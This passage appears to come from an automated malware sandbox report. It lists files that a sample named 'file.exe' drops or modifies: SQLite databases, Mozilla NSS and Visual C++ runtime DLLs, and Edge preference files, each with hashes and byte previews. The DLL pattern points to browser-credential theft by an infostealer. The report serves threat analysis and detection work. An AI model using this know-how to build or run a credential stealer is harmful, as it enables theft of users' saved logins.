Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBGHCGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267738057204242
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM9SA1LyKOMq+8iP5GDHP/0jMVumD:Kq+n0J991LyKOMq+8iP5GLP/0i
MD5:	2B08B952856DE1BB4BF435E9A981B8F9
SHA1:	0125D56AF7B327EF84A5BA28E9D96FD397205FAD
SHA-256:	8A195C58CFDF2E342674168DE73785B81709B5BD13A25EC82BD1054CA9442438
SHA-512:	A79A6E63654BFCB6A23FAD664E6F712FA5A7A9CD0D2EC9C629667EA5E61DC9B04C7B4BD1065CFBCDDD6979D4D68F6758074A1125AC5B89CA43DDBF94274AD3F1
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIJJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHCBAFIDAECBGCBFHJEBGDHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3cc3e59d-051c-4af0-8af7-53248d1eb090.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46426
Entropy (8bit):	6.086931810735667
Encrypted:	false
SSDEEP:	768:+MMkbJrT8IeQc5CKcP8hi1zNtjdZl2beJPIQmxgpCionJDSgzMMd6qD47u30i:vMk1rT8HaK4PIQ9FontSmd6qE7k
MD5:	2D9C14B6A1FCCF3C1C14AE506C0936C9
SHA1:	CA422443D3CE2990F618C1B984636321E8572ABD
SHA-256:	5DAD359AB52A2367449AA4164E77C3D2F1548C15898B5D4B83C6ED7A396B69CE
SHA-512:	64C3AED863883FC3ABDBFF1F471D368013C3F5836806AA5C75344B9F71E63B26456FA32AD1182A7FCB54F22DD91338A5FE3C673BE239A0A3ED8D720B68CC68DE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377176074163277","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"032d1ece-a734-48d7-ba02-1450d0c37843"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4a9dd44a-1310-4fec-8d19-cd4966deda30.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46349
Entropy (8bit):	6.087026926199871
Encrypted:	false
SSDEEP:	768:+MMkbJrT8IeQc5dKcP8hi1zNtjg9Zl2beJPIQmxgpCionJDSgzMMd6qD47u30i:vMk1rT8H1K4gvIQ9FontSmd6qE7k
MD5:	E1A89919AE2F14CC2CAB93602CD37D45
SHA1:	E7E7A4B921B8C97AF1BFCB5BD318279D3318D288
SHA-256:	7CF1C0913180A686C936EF28AFFBCB7520D532E0A4F7E3C0DEB1DF7198D0ABE7
SHA-512:	097F770642A02D7E91782B7C8DA1FEC617B287FC219BCD2E7F8ED85323DC3F4AC27985DBEB4F425EF614AFB261215B6C53C428A121EE00F4429899A2F7A8F09D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377176074163277","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"032d1ece-a734-48d7-ba02-1450d0c37843"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\52434d8a-4dc4-428d-b1c3-7a3c3850fe0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089765352705307
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWgdi1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynwdkzItSmd6qE7lFoC
MD5:	710419AC2FEB2AE41B593B43909D3034
SHA1:	801E6383C073F73F5F764CFB77221AA0D60C87AB
SHA-256:	943CB5103330B66036ADBDC100F8736A0E54490E615D12C7AE45B3A430F8039C
SHA-512:	EE8910041CC479B1FA0CC902BB71B6B081893981433F07FC1159C1941086B50527452B79E150B6F7B64AC26F1C841277B4D93C8F8688BEB3D507CCF10C0522D2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5e1ba1bc-76a7-49c5-8b13-2a0225e3fcc0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46302
Entropy (8bit):	6.087301011845894
Encrypted:	false
SSDEEP:	768:+MMkbJrT8IeQc5dKcO8hi1zNtjg9Zl2beJPIQmxgpCionJDSgzMMd6qD47u30i:vMk1rT8H1KngvIQ9FontSmd6qE7k
MD5:	4948267DCE7AA78AB647F84AA3A11506
SHA1:	6D70E4EABE0F5F9B9C510869223843A5D53DCB34
SHA-256:	33A4CCBEAE98F17DBE9C10A9FACBE41DA85112052000BCE010939FE5D50AACBB
SHA-512:	11EFB956B382470469F83D3F7F5F2E8BC76394E8EB1A2E0F9FDFC58F716DAF0A1D8A9EFC3DB04E3CD2160DCD835C2E407E0A08CD03D0EB0AF9ACBCAE77BCE210
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377176074163277","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"032d1ece-a734-48d7-ba02-1450d0c37843"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6d115503-d59b-4761-924c-7cf75b7003de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.095190135058229
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMCi1zNtjgN0jz2LuKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynbg4KtSmd6qE7lFoC
MD5:	366E9872FAE283FEDCAE9136F32C9E71
SHA1:	D109D2F59E191BFC67DDE22E7373CB329BB5B223
SHA-256:	32023D75D66E19F9D0153DA302F9CC518C14F79DBDEB4CADA279F66A4353E261
SHA-512:	182E8EEBCC3D0FA28176D56D04C2C7EE37873B13EE5841452FC80D58413CFD55445941EAC290A95B9C11DF251059043960BBB5C18C580C1FF9D8E6DF3AC1BC32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\733eca62-cc1a-4335-9111-dc32bf530585.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.095190135058229
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMCi1zNtjgN0jz2LuKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynbg4KtSmd6qE7lFoC
MD5:	366E9872FAE283FEDCAE9136F32C9E71
SHA1:	D109D2F59E191BFC67DDE22E7373CB329BB5B223
SHA-256:	32023D75D66E19F9D0153DA302F9CC518C14F79DBDEB4CADA279F66A4353E261
SHA-512:	182E8EEBCC3D0FA28176D56D04C2C7EE37873B13EE5841452FC80D58413CFD55445941EAC290A95B9C11DF251059043960BBB5C18C580C1FF9D8E6DF3AC1BC32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\97b76ee5-dd62-4562-b8e6-f879523fe775.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46426
Entropy (8bit):	6.086933775179471
Encrypted:	false
SSDEEP:	768:+MMkbJrT8IeQc5C9cP8hi1zNtjdZl2beJPIQmxgpCionJDSgzMMd6qD47u30i:vMk1rT8Ha94PIQ9FontSmd6qE7k
MD5:	93F8321BA41F4DB0A7AD3C9F92271890
SHA1:	46DA320106171611BFA6CD82C3EFBF91DF92CF8D
SHA-256:	91002BC3FEED824ECCE152265C5F3CD8E3D338EA7C5481EE3689D9213F1BD9E5
SHA-512:	B2D31239CD3C8AB69245224EB7970C37CEE0DF472FA2F1F7412B5695A1FFD2CAD51C0B2351AF716A575670FA26273980784F3ACD2DA7EAFE1469CEAC0E4B4BBD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377176074163277","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"032d1ece-a734-48d7-ba02-1450d0c37843"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTd